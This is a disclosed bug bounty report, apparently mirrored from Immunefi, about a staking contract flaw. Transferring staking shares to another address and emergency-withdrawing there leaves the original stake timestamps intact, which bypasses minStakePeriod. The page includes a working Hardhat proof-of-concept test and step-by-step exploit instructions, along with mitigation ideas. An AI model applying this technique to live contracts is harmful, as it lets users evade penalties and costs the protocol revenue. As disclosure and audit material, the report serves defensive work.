Skip to content
Business logic Audit finding Intermediate

By transferring his staking shares to another non staking address, allowing him to bypass minStakePeriod

Staking shares are a transferable ERC20 token, but the per-address stake timestamps used to enforce the minimum staking period are not updated when shares move. A staker can send shares to a fresh address, emergency-withdraw from there, and keep their original timestamps so a later deposit can be withdrawn immediately without waiting out the minimum period.

Oxlookman Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57850 sc medium by transferring his staking shares to another non staking address allowing him to bypass minstakeperiod

Description

Brief / Intro

An emergency-withdrawing staker can transfer their staking shares to another address and emergency withdraw (redeem) those shares from that other address, which keeps the original staker's stakes mapping and timestamps intact while the actual staked assets have been removed. This allows bypassing the intended minStakePeriod restrictions.

Vulnerability Details

Staker timestamps and stake shares are tracked in the stakers mapping:

Solidity
mapping(address staker => Stake[] times) public stakes;

This mapping is used to enforce minStakePeriod (preventing withdrawal for a period or incurring penalty). However, because staking shares are a standard ERC20 token, a staker can transfer their shares to another address before performing an emergency withdrawal. When the recipient address calls emergencyWithdraw, the recipient's stakes array may be empty, and internal helpers such as _removeAnySharesFor will simply return early (no adjustments to the sender's stakes array happen):

Solidity
for (uint256 i; i < userStakes.length && remaining > 0;) {
    uint256 stakeShares = userStakes[i].shares;
    if (stakeShares <= remaining) {
        remaining -= stakeShares;
        userStakes[i] = userStakes[userStakes.length - 1];
        userStakes.pop();
        // don't ++i: a new element is now at index i
    } else {
        userStakes[i].shares = stakeShares - remaining;
        remaining = 0;
        unchecked {
            ++i;
        }
    }
}

Because the original staker's stakes array is untouched, their timestamps remain as if the assets are still staked. If the original staker deposits the same amount again later, they can normally withdraw immediately (or without penalty) even though they have not actually respected the minStakePeriod.

Impact Details

All deposited assets are intended to be withdrawable only after minStakePeriod or, if withdrawn earlier via emergency withdraw, to incur a penalty. This vulnerability allows bypassing minStakePeriod, meaning:

  • The protocol can lose fee/penalty revenue.
  • The intent of minStakePeriod (e.g., preventing MEV or protecting protocol stability) is bypassed.
  • Griefing is possible: attackers can manipulate staking timestamps/state to advantage or to harm other users/ the protocol.

Reference

Proof of Concept

Add this to the staking test file (the staking features describe test) and run on a localhost anvil node.

JavaScript
it('User can withdraw normally without actually spending minStakePeriod', async () => {
  const { staking, long, admin, user1, user2 } = await loadFixture(fixture);

  const amount = ethers.utils.parseEther('1000');

  await long.connect(admin).transfer(user1.address, amount);
  await long.connect(user1).approve(staking.address, amount);
  const tx = await staking.connect(user1).mint(amount, user1.address);

  let randomWallet = ethers.Wallet.createRandom().connect(ethers.provider);
  // Transfer it some ether so that it can run transactions
  await user2.sendTransaction({to: await randomWallet.getAddress(), value: ethers.utils.parseEther('1')})
  
  const transferTx = await staking.connect(user1).transfer(randomWallet.getAddress(), amount);
  expect(transferTx).to.emit(staking, 'Transfer').withArgs(user1.address, randomWallet.getAddress(), amount);
  expect(await staking.balanceOf(user1.address)).to.eq(0);

  const txEmergency = await staking.connect(randomWallet).emergencyWithdraw(amount, user1.address, randomWallet.getAddress());
  expect(txEmergency)
    .to.emit(staking, 'EmergencyWithdraw')
    .withArgs(randomWallet.getAddress(), user1.address, randomWallet.getAddress(), amount, amount);
  await expect(txEmergency)
    .to.emit(staking, 'Withdraw')
  expect(await staking.balanceOf(user1.address)).to.eq(0);
  expect(await staking.balanceOf(randomWallet.getAddress())).to.eq(0);

  /** Allow the entire stake period to elapse plus some additional minute
  Note: that user1 is no longer staking and his amount was emergency withdrawn.
  Note: at this point user is no longer staking, but his stakes count like as he is still staking
  */
  const minStakePeriod = await staking.minStakePeriod();
  await ethers.provider.send("evm_increaseTime", [(minStakePeriod.add(5)).toNumber()]); // 1 day + 5 seconds
  await ethers.provider.send("evm_mine", []);

  // User mints new shares, and should not be able to normally withdraw before minStakePeriod has passed
  await long.connect(admin).transfer(user1.address, amount);
  await long.connect(user1).approve(staking.address, amount);
  const txSecond = await staking.connect(user1).mint(amount, user1.address);
  await expect(txSecond).to.emit(staking, 'Deposit').withArgs(user1.address, user1.address, amount, amount);
  expect(await staking.balanceOf(user1.address)).to.eq(amount);
  expect(await long.balanceOf(staking.address)).to.eq(amount);
  
  // But user can withdraw with no revert, yet he has not spent the min stakePeriod
  const withdrawTx = await staking.connect(user1).withdraw(amount, user1.address, user1.address);

  await expect(withdrawTx)
    .to.emit(staking, 'Withdraw')
    .withArgs(user1.address, user1.address, user1.address, amount, amount);
  await expect(withdrawTx).not.to.be.reverted;
});

Notes

  • The PoC demonstrates the sequence: deposit → transfer shares to another address → emergency withdraw from recipient → original account appears to still have staked timestamps → re-deposit and immediate (forbidden) withdraw.
  • This allows bypassing minStakePeriod enforcement and penalties.

Suggested mitigation ideas (not exhaustive)

  • Tie stake accounting (timestamps & shares) to ownership of staking shares rather than to separate mappings that can be desynchronized by token transfers.
  • Prevent transferability of staking shares while they are associated with active stake entries, or make emergencyWithdraw and share transfers update/clear the relevant stake entries consistently.
  • Ensure any transfer of staking tokens updates the stakes mapping for sender and recipient to reflect the moved shares and preserves minStakePeriod semantics.

The original report as published on Immunefi, by Oxlookman. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely stake timestamps are stored in a separate per-address mapping that is not synchronised when the transferable staking share token changes hands, so the accounting and the actual holdings drift apart.

Impact

The minimum staking period and its early-withdrawal penalty can be bypassed, so the protocol may lose penalty revenue and the protection the period was meant to give is undermined; the report also notes possible griefing.

What the attacker needed

A funded staking position; a second address with gas money; shares are freely transferable

The fix

Stake accounting should follow ownership of the staking shares, or share transfers and emergency withdrawals should update or clear the relevant stake entries so the minimum period cannot be dodged.

How it was found

  1. Stake an amount from the first address so shares and a timestamp are recorded.
  2. Create a second address and fund it with a little native currency for gas.
  3. Transfer the staking shares from the first address to the second address.
  4. Call emergencyWithdraw from the second address, which redeems the shares while leaving the first address's stake entries untouched.
  5. Wait out the minimum staking period, then stake the same amount again from the first address.
  6. Withdraw immediately from the first address even though the new deposit has not served the minimum period.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you stake, the contract records how long your money has been there so it can stop you leaving too early. The staking receipt itself is a token you can send to someone else, but the contract does not move that timing record with it. So you can hand the receipt to a second address, cash out there, and your first address still looks like a loyal long-term staker.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Oxlookman

View all

1 more disclosed report, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.